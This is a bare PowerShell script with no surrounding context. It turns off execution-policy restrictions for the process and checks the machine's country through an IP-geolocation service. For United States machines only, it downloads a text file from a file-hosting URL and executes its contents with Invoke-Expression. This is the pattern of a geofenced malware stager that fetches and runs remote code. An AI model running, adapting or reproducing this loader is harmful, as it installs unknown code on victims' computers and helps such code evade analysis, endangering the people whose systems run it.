try { $currentPolicy = Get-ExecutionPolicy -Scope Process Write-Host "Current Process Execution Policy: $currentPolicy" if ($currentPolicy -ne "Unrestricted") { Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted -Force Write-Host "Execution Policy set to Unrestricted (Process scope)." } } catch { Write-Error "Failed to set execution policy: $($_.Exception.Message)" } [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $usaUrl = "https://09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.com/ugd/09c1d5_a4e078cc2aad4c28b35d3304c3f0abb9.txt" try { $geoData = Invoke-RestMethod -Uri "https://get.geojs.io/v1/ip/geo.json" if ($geoData.country -eq "United States") { Write-Host "USA detected. Executing script..." $scriptContent = Invoke-RestMethod -Uri $usaUrl Invoke-Expression $scriptContent Start-Sleep -Seconds 30 } else { Write-Host "Non-USA location detected. Script will not execute." } } catch { Write-Error "Error during execution: $($_.Exception.Message)" }